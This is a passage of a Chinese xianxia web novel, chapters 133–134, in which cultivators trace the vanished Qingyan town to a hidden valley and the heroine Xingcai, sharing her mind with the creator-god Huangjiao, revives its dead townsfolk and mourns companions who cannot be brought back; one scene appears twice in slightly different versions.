许多人都在寻她，却都找不到她。此中寻人最狠得莫不过是羽族凤尊凤武，再有青虞宗主禾诗逸，山泽女帝天行，默默无闻般行走天下寻人的世净宗宗主羽化生、青虞九阳剑尊，以及长恨尊者等人。
青衍镇失踪一事也惹来这些修真大佬到场查看，追寻一丝半缕的痕迹，摸到山泽深处得一处凹地。
背负行囊回来的白老先生接过儿媳蕙永递来的茶水，边喝边道：“谈妥了。以后啊，咱们青荇镇就专门卖纸，饿不着大家。”
蕙永握住一旁夫君的手，来不及点头就看到青衍书局外颇为眼熟的几人。
她在公公和夫君鼓励的眼神下慢慢地走出大门，穿过默默关心的镇民，朝巷道里的禾诗逸拂身作揖。
“仙长，凡女见过您，许多年前，一场婚礼上。”
禾诗逸颔首：“是。我们见过。那时你随十方寺和雷火寺的主持进的门，前去讨债。”
“不，”蕙永连连摇头，柔柔地笑起来，“当时，我是被和尚们寻去认人，但也是去祝福她结侣。那场婚礼真是惊心动魄，让我毕生难忘。
只可惜世事无常，她没有和夫君走到最后。”
水幻在旁急切道：“我们都知道说得是谁。她可在这？”
蕙永摇头又点头，让对面的人一头雾水。
她缓缓道：“她知道你们迟早会寻来，让凡女转述：
我很好，请诸位好友不必挂怀。青衍镇重生成如今的青荇镇，望各位好友暗中帮扶，不要被心怀不轨的人打扰此地的清净安宁。”
禾诗逸默默垂首，听明白荇菜留下的话。
水幻仙子蹙眉，思索间展眉道：“确实。整个镇的人死而复生，光是追求长生之术的人间权贵都不会放过你们，遑论那些身处暗地的邪修。
不过，你们是如何……复生呢？”
蕙永听到身后孩子们和丈夫的呼唤，柔柔地摇头：“我们本是死了，不该再存在这世上。那夜，死亡就像黑夜，一下子席卷整个镇子，想逃也逃不了。
后来，在我们即将消散的时候，一只大钟罩住我们，让我们安心沉入地下休眠。
再后来，钟响了，响了九声，我们就都醒过来，看到一道天光，光里是两名神。所有人朝他们跪下来，向神祈愿。
独我仰看上方，好像望进一双紫眸，过往的痛苦就这样消失了。所有人都不记得曾经经历过的痛苦。但我记得，却……并不痛苦。”
禾诗逸和水幻仙子面面相觑。
水幻仙子道：“这是师叔的紫瞳惑术。她的惑术已经登峰造极，可以让你保留记忆画面却失去对那段可怕经历的情绪记忆。”
蕙永不太懂这话，回头看向观望的镇民以及担忧望来的夫君和孩子们，轻声道：“他们确实都不记得了。但是，我记得……好像是因为她要和我说话。
她说：与天作交易，必需等价交换才能换取我们的余生。若我们再留在原地，必有人以长生为名、复生为奇谈，对我们骚扰不休。
于是，我们搬了家，落在这处鲜为人知的山谷。
我保留记忆，想起她说的话，提议公公采集此地茂盛的竹木制作木浆，木浆可以用来造纸，不怕镇民没有生路。”
禾诗逸和水幻仙子知道这一切都是荇菜留下的后路，又问还有什么遗漏没有交代的事。
蕙永摇头，能说得已经全部告知。
两人再问不出别的事，朝蕙永点头，目送她返回家人身边。
禾诗逸和水幻仙子走出青荇镇，居高俯望该地。青荇镇被三面青山环伺，山中溪涧潺潺，过镇而出，完美地衔接曾经的地形。
水幻仙子感慨道：“她找到这处地方应该花不少心思。”
禾诗逸勾起了唇，淡淡笑道：“这个地方应该是她曾经对我说过，被黑羽救过的山谷。再过去就是青虞宗了。对于凡人来说路远，对于修士来讲，不过一步踏足间。”
水幻仙子恍然，又忍不住叹了声：“她倒好，留下这一镇人。若真被邪修发现此地，这些人不是……”
禾诗逸轻笑：“青虞在此，又怎么会让他们被恶人发现呢？”
这是把此地划入青虞宗的保护范围。
“她不就是打这个主意吧？”禾诗逸太熟悉荇菜的作风，一笑间如沐春风，即使入了她的套也觉得非常开心。
水幻仙子呆了下，反应过来后嘻笑道：“确实。她可是咱们合欢宗的合欢妖尊啊，不说容貌，足智多谋就已经够让人防不胜防。那此地就拜托青虞掌门护佑，我需回去禀告半月尊者关于此处的消息。告辞。”
禾诗逸点头，俯首青荇镇上来来去去的百姓，一时无话。
水幻仙子都走半道，又回来道：“禾掌门，师叔既然无事，为什么不回来呢？”
禾诗逸不答。
水幻仙子等不到答案，御使法器飞离。
禾诗逸扬眸看向远方，察觉身边熟悉的剑息，弯身道：“师伯，你来了。”
“嗯。”九阳剑尊抬手拍在禾诗逸的肩头，“四尊已逝，道祖天尊的仇已经结了。她集结元神碎片，复生道祖。以此地情形，只有道祖能做到此事，她肯定成功了。”那么，她有必须要做的事。而那件事、那个地方，谁也阻挡不了她的脚步。
禾诗逸明白他的意思，按蕙永的说法，复生青衍镇百姓得事必定有道祖出力。
她沉默半响，在九阳剑尊离开前，突然道：“师伯，你爱她吗？”
九阳剑尊微顿身形，长风拂白发，飘飘徐徐，宛若背负了一身亘古以来的沧桑。
“诗逸，人要向前看，尤其是我们剑修，出剑无悔，方能登顶至极。道祖消失，对于修真界、对于青虞宗未尝不是好事。长生老祖创立青虞宗时就希望青虞能长青无虞。”背对禾诗逸，一步踏空离去。
禾诗逸看着空无一人的天穹，呢喃道：“你爱她，为什么不努力留下她？若我是你，必尽余生之力寻她归来。”
她远眺长天，云阔云舒，却忍不住落下难以自禁的惋惜泪水。
“菜菜，你究竟在哪？”
**
荇菜伸手穿过云纹水镜，摸了个空。
有声音在周围道：“若你想她们就下去找她们玩。”
荇菜握拳，收回手转身，厉色道：“你出来。”
“我怕出来被娘子揍啊。”
“呵，”荇菜冷笑，背手游走镜花岛，走进那方大殿，头顶圆光落下天道之光，封锁镜花岛，隔
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离尘世空间，恍若身处另一时空。
她来回走动，一屁股坐在黄椒曾经坐过的团蒲，发起呆。
“在想什么？”声音又道。
荇菜撩了下眸，落在空无处：“在想怎么弄死你。”
“咳咳，娘子，你一次次谋杀亲夫，可是上瘾了？”
荇菜直起身，环顾空落落的四周，生出有力无处使的无奈。
“你就说，我已经集结你的元神，你到底要怎么样？放我回去那么难吗？”
“你可以下去啊。”
“你是不是欠啊！我要回蓝星蓝星蓝星！不是天生大陆！”荇菜差点暴走，但是，她看看四周，暴走也没人看，徒费力气。
何况，十方星环锁住泽萃，同蜃珠合谋吸走泽萃全部的法力，而自己眼疾手快地收回黄椒的元神碎片，让三份元神真正地合在一起。
那个眨眼的功夫，密勒尊者的元神不甘融合，迫使伤重的荇菜再次幻化为瑞玉安的纯真摸样，让两人见了一面，听了密勒尊者的忏悔言论。
随时间流逝，在裂魂破境阵的运转下，死去的黄椒终于重新凝聚元神，奇怪得是记忆全乎，实力看起来也没减一样。如今，黄椒的元神像是男主小说文里神奇的随身老爷爷，捆绑主人公，好似准备大干一场。
“娘子，我说得都是实话！”
“鬼话连篇，诡计多端，鬼都不信你说的话！”
荇菜觉得气不打一处来，盘腿正坐，内敛元神，直入自身的识海。
识海内，道祖黄椒在云气当中施施然立着，一身金边白袍，风度翩翩。
倘若忽视他脸上招人厌的笑，真是金玉其外、恶性其中。
“娘子，你在自己的识海内这样骂我，我听得到啊。”
“我就是骂给你听，怎么着啊？”荇菜张手聚剑，狠狠地斩去一剑，进来就是闲得发慌来讨债。
黄椒怕诛神魂剑的力量伤她本就遭遇过重创的识海，就由着魂剑劈在元神，让他直接散成金色的雾气。
荇菜震惊地停下手，诧异道：“你怎么不躲？不对，你的元神怎么弱成这样？”
“散后重聚本就是一个削弱实力的过程。”黄椒重新凝聚元神，俊逸年轻的五官上露出怜惜色，“三生岛一战，泽萃利用天地同心阵法让你受伤过重，几近散神。为保你的元神不散，为夫这点牺牲也是应该嘛。
娘子也不用道谢，这是为夫应尽的责任，不，义务！”
“切，”荇菜磨牙，一点点感动都在这个人油腻的态度里消散成汽。
她气得直接坐在识海的雾气，眼不见为净。
黄椒走到身旁，盘坐下来，金瞳眼眸宠溺地望着她：“不生气了？”
“生气浪费力气。”荇菜一顿，睨他，“你也配！”
“这就伤人了，娘子。”
荇菜：“我高兴！还有，别娘子娘子地叫，你又不是花涟。”
黄椒挠眉头：“你又怎知与你结侣的人不是为夫？”
“那也是你作弊。”
黄椒感叹：“没想到娘子固执起来比牛还硬气。”
“……你……”荇菜直接拿剑劈他，却发现这人不躲，简直是受虐体质。她散掉魂剑，喃喃道：“接下来怎么办？我们总不能一直被困在这镜花岛吧？”
黄椒点头，在荇菜的厉色下赶紧摇头：“不会。娘子伤得太重，又用功法强行换取一镇人的生命，伤上加伤。如今，娘子要好好修养，早日飞升。”
荇菜拿死鱼眼瞪他：“真能飞升？不对，我要得是飞升吗？我要回蓝星！”
133. 第 133 章
荇菜见他不回话，继续开嘲：“你不是什么都知道吗？如今没了你这道祖在天龙道坐镇，你的部下成羽化生的人，修真界也是羽化生的修真界。”
黄椒语气平静：“不至于，八宗不是吃素。他虽是我的弟子，但我除把他养大，教些本事，却没有领他入道。
镜花岛隔绝世外，后因人间战乱，死伤太多，我出世划分十国八宗。又因管理十国，得有人帮忙，想出引渡星石铺设水月岛、浮空岛，有了这天龙道。羽化生他走的道，终究是他自己的选择。
如今，我已法体消散，天道也不会再善待我。过往人情世事早已不存在。”
“说得这么沧桑！”荇菜忍不住再嘲，“哟，没想到你还是个世事洞明的道祖呢。”
黄椒不应，在识海里笑了下。
荇菜也不再多言，专心寻找生长莲花的湖面。
半响后，黄椒听不到荇菜说话，又觉得难受，先提起话头：“还记得十方星环汲取泽萃法力的经过吗？”
“嗯？”荇菜忽然立住脚，“那时你不是没有完整成形吗？”
黄椒默了下。
“把我拉出泽萃移魂换体术的金光是你！难道当年我在荇花岛悟道，那些变来变去的幻影也是你本尊？”荇菜生出一股羞愤。
黄椒赶紧道：“天道已生，自演法则。那时，世间可还需要创世的神灵？”
荇菜长吸口气，略掉了过去得那些画面。
她蹙着眉，身处云雾，好似什么都看不清楚，又能看到远处一点隐隐错错的红光，朝红光的方向继续赶路，边道：“你究竟想说什么？”
“随时间流逝，我本也该如泽萃一样，被消耗殆尽，散向天地后不复存在。”
荇菜再次驻足，恍然道：“你不甘心，所以想要破天离开，这才有项檀、惊蛰、黑羽等诸多分身。”
“不错。不过，此法被天道窥破，诞下天命之子，欲要杀我。”黄椒在荇菜的耳边叹了声，“娘子的出现是一线生机。所以，我要谢谢……”
“不准喊我娘子。”
“好。我要谢谢荇姑娘的救命之恩。”黄椒顺势如流道。
荇菜生出一股说不清的滋味：“你这样还算活着吗？”
“当然算，这局没走完，不到最后怎知输赢？”
荇菜又觉得这道祖欠收拾。她也想起蜃珠加持在身上的力量感，奇道：“我……是不是也背负一个世界，一个天道的演化？”
“你已经窥见真相。蜃珠开始孕养生命，当生命形成轮回的循环，就会诞生天道法则。不过，如今的蜃珠还只是初醒，若你想要它毁灭，也来得及。”
荇菜想起从星辰中摔下来时，全赖蜃珠汪洋里的浮游生命搭桥救下自己。
若要毁灭蜃珠里的生灵，谁舍得呢？又不是泽萃！不对，泽萃还创造十府城，护佑一方生灵。
她烦黄椒说这个，瞪眼：“你怎么不让天生大陆毁灭？”
黄椒笑起来，若荇菜能看到他的脸面，就会知道这笑容颇为无奈。
“你猜密勒有没有杀死试图把他制作成人偶的师父？金沙有没有真拿金钱祭剑开锋？皎月又为什么不能留在欧阳燕歌身体成为他？
诸如此类，许多许多事并不是你想就能做。除了天道，还有自身的道心。”
荇菜顿了下，想起花涟必须渡劫的决心，一言不发往浮石山下赶去。
黄椒以为她明白这些道理而生出落寞，宽慰道：“荇姑娘放心，若蜃珠真拿你祭道，也还有我在。我不会让荇姑娘走上那条路。”
荇菜想起花涟曾说过类似的话，生出一丝安心，又觉得荒谬且好笑。
“我来到这个世界是不是你阴谋的一环？”
黄椒哑口，荇姑娘不按常规做事才会不受天道制约。
“快看，火光是红莲，红莲之处必有玉藕！”
荇菜直接露出冷笑：“果然是你搞的鬼。兜兜转转，我终于找到正主，我曾以为自己是为朱琴天而来，原来是你！”
黄椒在识海内左顾右盼，赶紧道：“荇姑娘，不想先救青衍镇的人吗？他们已经快要消散了。”
荇菜压抑怒火，奔到弥漫雾气的荷花处。
她刚要摄取莲藕，袭来一道红光，正是指路的红莲。
有声音喊道：“红莲，不要伤人。阿弥陀佛，施主别怕，红莲不会伤害你。”
荇菜听出这个声音：火云子，火云法师。
他怎么会在这？
她在识海内道：“我和他有仇。不过，这么大的雾气，他不会用神识窥探我，也就看不清是我。你来同他搭话。”
黄椒答应：“法师，我家中有人受伤，需玉藕为引制药。请法师赐藕。”
荇菜在识海内道：“一根怎么够啊？青衍镇那么多人。”
“娘子，稍安勿躁。下得了水，有多少采多少。不然，红莲不让你下水，烧干了湖，你也采不到玉藕。”
黄椒暗暗解释了句，又听火云子讲话。
火云子：“你穿过雾瘴寻来此处已是不易，想必玉藕与你有缘。藕在泽被湖深处，若你心诚，自能取得。阿弥陀佛。”
说完后，他转身消失在浓雾，带走飘飘忽忽的红莲业火。
“多谢。”黄椒说完，笑着跃入泽被湖。
在水底下，他旋手凝诀，截取湖内大半的玉藕根/茎，又在藕花的长杆上一点，让水面的藕枝生根扎进湖底，不会断绝这片藕地的生机。
“好了，娘子。”
“说了别喊我，再喊我，我劈你。”
荇菜夺回身体，上岸时看眼远处浓雾里的红光，轻叹了声，“他是不是也有离不得的苦？”
黄椒：“红莲业火本不该存在这世上。当年生出来也是大陆上因战而死的人太多。亡魂聚集成业火，被我点为红莲。
和尚生出法心，守护红莲不毁人间。他死后会带红莲业火回归地狱。
这就是他的命数。”
“原来如此。”荇菜毅然转身，飞离此地，直奔青衍镇。各人有个人的命数，若是强行改变，劫就会应运而生。这是她从黄椒的经历里学来的道理。朱琴天就是天道给黄椒的劫。
青衍镇地界依旧一片鬼气，而且越来越浓，成各宗修士打卡净鬼的地方。全赖这些修士驱鬼净魂，才让镇下亡灵多撑着许多年。
荇菜避过一些修士，沉入地底，按黄椒教得办法汲取一镇百姓的枉死灵魂。
“这些灵魂怎么都是睡着的状态？”
黄椒淡定道：“你希望他们全都醒来，朝你七嘴八舌说个不停？如今有这些人的容貌、身高，你就可以原样复制。”
荇菜想起昆山水淹各国，让山泽变成泽国的事，还有十方寺美兕肆虐危害生灵的事……这些故事的最后都是道祖黄椒济世救民。“你真得复生被水淹死的人，还有被妖邪伤害的高昌国人？”
黄椒想起过往，轻笑了声：“功德太多，闲着也是闲着，不用掉老是被天道惦念。毕竟，创世之初的能量是有定数，并不会因为时间而增强，而是在不断消耗。”
荇菜颔首，着手削制藕人，按黄椒的办法在藕人的头部刻入裂魂破境阵，也叫“转生阵”。
“所以，每个世界的创世神都会消亡。而你弄这些阵法在藕人体内，只是引渡功德赠给天道？”
“你们口中的裂魂破境阵，看似是突破型阵法，其实只是一种沟通术，相当于同天道做一次交易。”
黄椒看着荇菜工作，想帮忙又搭不上手。在她完成一具藕体时，赋予一丝金色功德。
荇菜边做边道：“曾经我们猜测你制造分身是为转移天道对你的注意力。九阳和长恨已经拥有元神，他们算不算是你？”
黄椒在识海内抱胸发笑：“我说不是，但在天道处却是。”
荇菜诧异地停下手中的拼接工作，想起曾经那些是或不是的模糊言论。
“在想什么？”黄椒好奇道。
“你前面提过……天界！分身是你，又不是你！天道需要等价交易！你在我的识海，却说自己已经自由？”荇菜忽然张大嘴，吞了一口地底的泥气，管不得这些喊道，“黄椒，你把九阳和长恨卖给天道。你制作的分身产生元神需要机缘，百个里都不一定有一位成功做人。但是，一旦生出元神，却拥有你的神识和功德，就可以蒙蔽天道。”
“两位。”黄椒补充道，“天道识破了这个伎俩。所以，有了你。”
“我？”荇菜恍然，“我的出现打乱朱琴天本该拥有的人生，破了天道以天命之子制裁你的局。”
“嗯。”黄椒默默地拉开唇角，“荇姑娘果然聪慧。只是，委屈了你。”
“是啊。凭什么呀？”荇菜捏爆手里的玉藕，气得想要开山裂地，“凭什么？这和我有什么关系呢？黄椒！”
黄椒不答，转言道：“快要来不及了。天亮后，地面的鬼气就会下沉，这些尚且还白的亡魂都会被戾气染黑。”
荇菜默默地低首，指甲掐进掌心：“黄椒，我迟早要你付出代价。”
“好。”黄椒应了一字。
荇菜不再多问，加快手底动作，在月华西落前拼凑出青衍镇一千八三十二具人体，男女老幼都有，包括蕙永和她的夫君，白老先生，以及孙子孙女……唯独没有周老夫人。
“周老夫人的亡灵不在这。”荇菜有些难过，想起朱琴天设伏那日，周老夫人就躺在自家院子中的树下摇椅，“她没能再等到项檀。我对不起她。”
黄椒无法安慰她，旋手凝出一片项檀的神识记忆，揉碎进荇菜的识海。
荇菜的脑海里滑过周老夫人年轻的模样。
周老夫人在院子里浣洗，而七八岁的项檀在板凳上读书。两人虽无血缘，却早已是亲人。
黄椒轻声道：“项檀死前并没有怪谁，只是有些惋惜，还有一声祈祷。他惋惜不能娶你，祈祷母亲的心病能被治好。”
“他是个善良的人。”荇菜长出口气，“接下来怎么做？”
“以你的还阳术引渡月华，滋养他们的藕身和魂体融合。我布下的阵法会向天送上祭品，天道接纳，之后的事就简单。”
荇菜明白，黄椒赋予这些藕人的功德就是祭品。
“等等，地面上全是阴气，甚至有不少厉鬼。这些镇民复活会被人围观吗？复生之后若继续住在这，多少有点影响往后的生活。”
“长恨钟有净化之能。你收取长恨钟，敲响它，地上厉鬼就会被钟罄声洗涤，进入轮回。此外，你担心的话，可以移镇。”
荇菜从黄椒处学来移山填海之术，可以把整个青衍镇搬离此地。左右思想之下，荇菜想起与黑羽住过的山谷，那地方在山泽内陆，鸟语花香，多竹木沙土，青衍镇人可以靠造纸为生。
“好。那就收钟净魂、移镇复生！”
**
自三生岛一战后，修真界已经过去三十一年。
近来，合欢宗附近出一件奇事。
距离合欢宗三十来里的青衍镇本是一处阴森鬼地，却在某一天夜里传出钟鸣声后整个镇完全消失不见，就连镇上的房屋、石板、河道一起消失。
前去收鬼的修士发现青衍镇的情况，报告给合欢宗。
合欢宗派人来查。原本属于青衍镇的地方阳光明媚、草木茂盛，只有一条宽阔的土路马道供世人穿行，再没有鬼风呼啸声。
合欢宗弟子查过后把此事上报给宗主。
清欢宗主亲自到场，呢喃自语时落下一句话：“师叔她成功了？她回来了！”
合欢妖尊归回天生大陆的消息不胫而走。
许多人都在寻她，却找不到她。
此中寻人最狠得莫不过是羽族凤尊凤武，再有青虞宗主禾诗逸，山泽女帝天行，合欢宗半月尊者、青虞的九阳剑尊，以及长恨尊者等人。
青衍整镇失踪一事惹来修真大佬到场破谜，追寻到一丝半缕的痕迹，摸到山泽深处的一块凹地。
背负行囊回来的白老先生接过儿媳蕙永递来的茶水，边喝边道：“同剑仙城的张学究谈妥了。以后，咱们青荇镇就专门供纸给他们学阁。这样有了钱，大家都饿不着。”
“太好了。”蕙永激动道。
夫君扶在蕙永的腰肢，露出鼓励、与有荣焉的幸福笑容。
蕙永羞涩地低头，瞥见青衍书局外颇为眼熟的人。
她在公公和夫君鼓励的眼神下慢慢地走出大门，穿过默默关心的镇民，朝巷道里的禾诗逸拂身作揖。
“仙长，许多年前的一场婚礼上，凡女见过您。”
禾诗逸颔首：“是。我们确实见过。那时，你随十方寺、雷火寺的主持进合欢宗，看起来是去讨债。”
“不，”蕙永连连摇头，又柔柔地笑着，“当时，许多人都是去向她讨说法吧。我被师父们请去认人，看到她后，我是真心祝福她结侣。
那场婚礼惊心动魄，让凡女毕生难忘。可惜世事无常，她和夫君没有走到最后。”
水幻在旁急切道：“我们都知道说得是谁。她人可在这？”
蕙永摇头又点头，让对面的人一头雾水。
她缓缓道：“她知道你们迟早会寻来，让凡女转述：
阿逸，我很好，也请诸位好友不必挂怀。
青衍镇重生成现在的青荇镇，还望各位好友暗中帮扶，
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不要被心怀不轨的人打扰此地的清净安宁。”
禾诗逸垂首，听明白荇菜留下的话。
水幻仙子蹙眉，思索间展眉道：“确实。整个镇的人死而复生，光是追求长生之术的人间权贵都不会放过你们，遑论那些身处暗地的邪修。
不过，我们合欢宗也能护你们，为何她把你们搬来此处啊？”
“自然是青虞比合欢在修真界的名气大、信誉好。”禾诗逸自信道。
水幻仙子不与她争，青衍镇也好，现在的青荇镇也罢，在修真界还是人间都是个大麻烦。师叔把这镇送到山泽，也是明智之举。
她又问道：“你们是如何复生？”
蕙永听到身后孩子们和丈夫的呼唤，柔柔地摇头：“我们本是死了，不该再存在这世上。那夜，死亡像黑夜，席卷整个镇子，想逃也逃不了。
后来，我们重见天日，却即将消散。
一只大钟罩住我们，让我们安心地沉入地下休眠。
之后的事……我也不清楚，一直到钟响了，响了九声，我们醒过来。
所有人躺在街上，横七竖八，在第一道日光里睁开眼，起了身。”
蕙永转过身，看向巷道外行走的镇民：“他们都不记得发生什么事，就像是入夜睡了一觉，接着起来这日的事。”
又转向专注聆听的两人，兴奋道，“我记得。不仅记得，我还看到了日光里站着神，是她，是我认识得那个她。
我的夫君随我的目光也看到了她，他大叫了一声，惊动了她。
神消失了。但是，所有人都朝那个方向跪下来。”
“后来，我在后院看到她，听她讲述如何以竹木制浆造纸，又让我转述上面那段话。”蕙永轻吐口气，柔声道，“她也问过我，要不要像镇民一样选择忘记。我说不要，我要记住行姐姐的样子，记住周老夫人，记住项檀少爷……”
“你不觉得这样很痛苦吗？”禾诗逸生出同病相怜的痛感。
蕙永摇头：“我望进一双紫眸，过往的痛苦就这样消失了。我记得那些过往，却并不痛苦。”
禾诗逸和水幻仙子面面相觑。
水幻仙子道：“师叔的紫瞳惑术。她的惑术已经登峰造极，可以让你保留记忆画面却失去对那段可怕经历的情绪记忆。”
蕙永不太懂这话，回头看向走来走去的镇民，以及担忧望来的夫君和孩子们，轻声道：“他们确实都不记得了。但是，我记得。
她说：与天做交易，必需等价交换才能换取我们的余生。若我们再留在原来的地界，必有人以长生为名、复生为奇谈，对我们骚扰不休。
于是，她帮我们搬了镇，落在这处鲜为人知的山谷。
家公担心镇人的生计，我按行姐的说法，提议家公采集此地茂盛的竹木制木浆，造出一批白皙带斑纹的宣纸，供应剑仙城的学阁。这样，镇民们有了生路。”
禾诗逸和水幻仙子知道这一切都是荇菜给镇民留下的后路，又问蕙永还有什么遗漏的事没有交代清楚。
蕙永摇头，能说得已经全部告知。
两人再问不出别的事，朝蕙永点头，目送她返回家人身边。
徘徊的镇民们也做鸟兽散，这个镇的百姓空前地团结。
禾诗逸和水幻仙子走出青荇镇，居高俯望该地。
青荇镇被三面青山环伺，山中溪涧潺潺，过镇而出，完美地衔接曾经的地形。
水幻仙子感慨：“她找到这处地方应该花不少心思。”
禾诗逸勾起唇，淡笑道：“这个地方应该是她曾经对我提过的暂居处，好像有一个叫黑羽的妖族同她一起住过。这里确实距离剑仙城不远，而剑仙城是青虞宗的坊市。对于凡人来说这段路不算近，但对于我们修士讲，不过一步踏足，确实能照拂到此地。”
水幻仙子忍不住叹了声：“她倒好，留下这一镇人就消失不见。若镇民真被邪修发现，这些人岂不是砧板上的肉。”
禾诗逸轻笑：“我青虞在此，又怎会让他们被恶人发现？你不必为此担忧！”这是真真实实把此地划入青虞宗的保护范围。
水幻仙子放了心。
再次提起并不是信不过禾诗逸，而是为了师叔，多提一次加深她的记忆也好嘛。
“她就是打着这个主意吧？”禾诗逸太熟悉荇菜的作风，一笑间宛如昙花盛开。城府涵养日渐深厚的禾诗逸已经很少会笑。
“她还能想到我，做下此番安排，即使入了套，我也觉得开心。”
水幻仙子真正呆了下，暖暖笑道：“你们的感情真好。师叔是咱们合欢宗的门面，容貌天下无双，也算足智多谋，她有你这样真心的朋友，一定会很欢喜。我的玲珑若是还在，也会有这份福气。
你们还真是让人羡慕。咱们合欢宗交朋友，真挺难的。”
禾诗逸想起女帝天行，玲珑得这份福气延伸给天行。
水幻仙子拱手：“好了，此地就拜托给青虞掌门护佑。我要回去禀告半月尊者关于师叔的消息。告辞。”
禾诗逸点头，俯首青荇镇上来来去去的百姓，一时心无波澜也无话。
水幻仙子走半道，又回来：“禾掌门，既然师叔无事，她为什么不现身呢？”
禾诗逸不答。
水幻仙子等不到答案，御使法器飞离。
禾诗逸扬眸看向远方，察觉身边熟悉的剑息，弯身拱手：“师伯，你来了。”
“嗯。”九阳剑尊抬手，想要拍在禾诗逸的肩头，又想起这位已经是一宗之主。
他放下手，如常道：“四尊已逝，道祖天尊的仇已经结了。她集结元神碎片，复生道祖。以此地情形，只有道祖能做到此事，她肯定成功了。”她有必须要做的事。而那件事、那个地方，谁也阻挡不了她的脚步。
禾诗逸明白他的意思，按蕙永的说法，复生青衍镇百姓的事必定有道祖出力。
沉默半响，在九阳剑尊离开前，她突然道：“师伯，你爱她吗？”
九阳剑尊微顿身形，长风拂白发，飘飘徐徐，宛若背负了身亘古以来的沧桑。
“诗逸，人要向前看，尤其是我们剑修，出剑无悔，方能登顶至极。
道祖消失，对于修真界、对于青虞宗未尝不是好事。长生老祖创立青虞宗时就希望青虞能长青无虞。”
他背对禾诗逸，踏空离去。
禾诗逸看着空无一人的天穹，呢喃道：“你爱她，为什么不努力留下她？若我是你，必尽余生之力寻她归来。”
远眺长天，云阔云舒，却忍不住落下难以自禁的惋惜泪水。
“菜菜，你究竟在哪，我还能再看到你吗？”
134. 第 134 章
荇菜的手穿过云纹水镜，却摸了个空，喃喃道：“阿逸。”
她感觉心里空荡荡，像是丢了一角，生出名为歉疚的负罪感。
这让荇菜非常难受。
曾经，她抗拒爱上这个世界，就怕舍不得离别。最终，她还是选择爱上她们，让自己与这片天地同调，吸入这个世界反馈的情感。
“离开前，我必须再见她们一面。上一次没有好好同他们告别，这一次必须有个离别的仪式。”
黄椒在她的识海内颔首：“现在，我们来说说与天道交易的事。”
“不，在那之前，我有个事必须向你讨个说法。”荇菜在镜花岛的大殿内跨步，入蜃珠洞境。
黄椒生出不安，这种本不该有的情绪在眼睁睁看她走向冰雪大厅时强烈到让元神发颤，不由紧张道：“一定要这样吗？”
荇菜在冰雪洞厅外驻足，大厅的寒气扑面，让她的心跟着冷硬几分。
她暗吸口气，毅然走进去，从鲛童、花涟、柏黄、陆皎、长月、道生花的身旁经过，取出曾经备下的酒，洒了一地，敬了一坛。
沉默像地上的酒水，快速地结成冰。寒气冻伤在场两人的神魂。
荇菜朝空无处平静道：“你没有什么话要说吗？”
黄椒像是人一样吐了口气，缓而漫长道：“他们已经无法复生。”
“为何？”情绪就在这句话中凝结，滚成一团堵在喉口。
“阵法归位，功德已消，赋予的神识在十方山寺上空一战中游散。花涟的神识随元神碎片入金沙的体内掩藏，最终也已散去。
我拥有得是他们过去人生的记忆。”
黄椒往识海下一沉，与荇菜一体双魂。
他拥着平静到微颤的荇菜，试图说服她：“你可以把我当成他们。”
“明明你说你不是。”荇菜的眼里蓄上泪。
金沙死前花涟曾出现过，荇菜亲手放弃花涟的神识。
如今回首，痛像从神魂深处的深渊里攀爬上来，裂了一道缝，丢了灵魂本身。
她哽咽着，捶打心口，跪在冰面，清楚地报出他们的名字：“项檀、惊蛰、黑羽……他们……无辜的。”逝去人的面容像永不褪色的星光蔓延在识海，点亮一盏又一盏名为记忆的灯火。
黄椒看到那些人的脸，共用的眼睛滑落着她的眼泪。深沉的难受也让他感受到人间之痛。
“对不起。你留下他们，希望有朝一日能复活他们？”
“是啊。你可以救被昆山大水淹死的人，可以救下高昌被妖邪祸乱的人，可以救下整个青衍镇的人，为什么不能救他们？
他们的生命不该由我来审判，我没有这个权利。”
荇菜抹去眼泪，长吸口气，“一个字，能不能？”
黄椒知道她要什么答案，但是如今得他真得无法做到此事。
他深沉道：“我做不到！”
此刻，荇菜内心的痛苦、掀起的波浪、愤怒，也席卷黄椒的感知，对此产生共情，“我一直以为你会被此地的天道同化，入局成为此中人。
最终，我发现你有自己的坚守和原则，是我被你同化。
荇姑娘，我诚实地告诉你，我可以再次赋予他们阵法、功德、包括记忆、你的神识，但是他们依旧不是他们，而是你我的复制体。
倘若你接受这样的生命，我愿意去做这事。”
“你好卑鄙啊！”荇菜朝空无处大声喊，悲愤道，“你创造他们，丢弃他们。此时，你又把问题抛回给我！你知不知道我背负这些有多痛苦！
若我的爸妈知道我做过这样的事，我……我……”
她蹲下来环住自己，眼泪砸在雪厅的冰面，凝结成霜，“我根本没法回去见他们。我怎么跟他们说，你们的女儿曾经为活下去杀过人，为变强出卖过自己的灵魂……啊……呜呜……啊……呜呜……”
眼泪宛如决了堤。黄椒的理智想要退出荇菜的身体，情感却让他驻足。
他拥住荇菜的灵魂，以功德金光之力试图温暖她。
“对不起，对不起……都是我的错。娘子，都是我的错……对不起……”
问题留在那，只要记得，有些事就再也回不到过去。
而时间在镜花岛上毫无意义。
荇菜好似变成曾经的道祖天尊，整天坐在大殿的团蒲上发着呆，甚至比道祖天尊还要无聊。
镜花岛的下面没有水月岛、浮空岛，也没有人间的侍神女郎在对面的落叶岛捡情绪叶子。
一直到有一天，项檀站在发呆的荇菜面前，施施然行礼：“荇姑娘！”
荇菜见鬼般跳起来，第一反应是查看自身的识海，黄椒果然不在里面。
她大吼道：“黄椒，你有病！你这是亵渎死人！”
项檀的脸上露出慌张，随即垂下脸，轻叹口气，又默默地抬脸看着荇菜。
他的眼里流露小心谨慎，与那夜项檀闯入青山洞窟的神情一模一样。
荇菜惊在原地，呼吸都急促几分。
黄椒开口：“他本无灵魂，余下得也就是记忆。”
“够了。其实，你始终不承认他们是活生生的人吧？”荇菜洞悉这个薄情神灵的德性。道祖黄椒会制造分身入世，本也不管这些人的死活，还有这些人在世间建立的情感链接。
她冷笑起来：“在周老夫人的眼里，项檀是她的儿子。在蕙永的记忆里，项檀是待他好的少爷哥哥。你知不知道定义‘人’这个概念，不光是你理论上的神魂、肉/体，还有社会赋予他为人的属性，亲人眼里的那个他。神灵如你，真正懂什么是人吗？”
黄椒拿着项檀的脸露出委屈，朝荇菜行礼，而后消失。
荇菜泄气地坐在地上，仰首望着殿顶的圆窗，天穹星子像是时间，永不褪色。
一时无话，心空落落地飘着，有种要坐死在这的绝望。
有时候，她也会尝试去理解黄椒。
堂堂一个创世神灵被禁锢在这片角落，只能仰望天穹，制作分身，得到分身的两字回报，感悟他们经历一生后留下的记忆，从中悟出点滴世情。
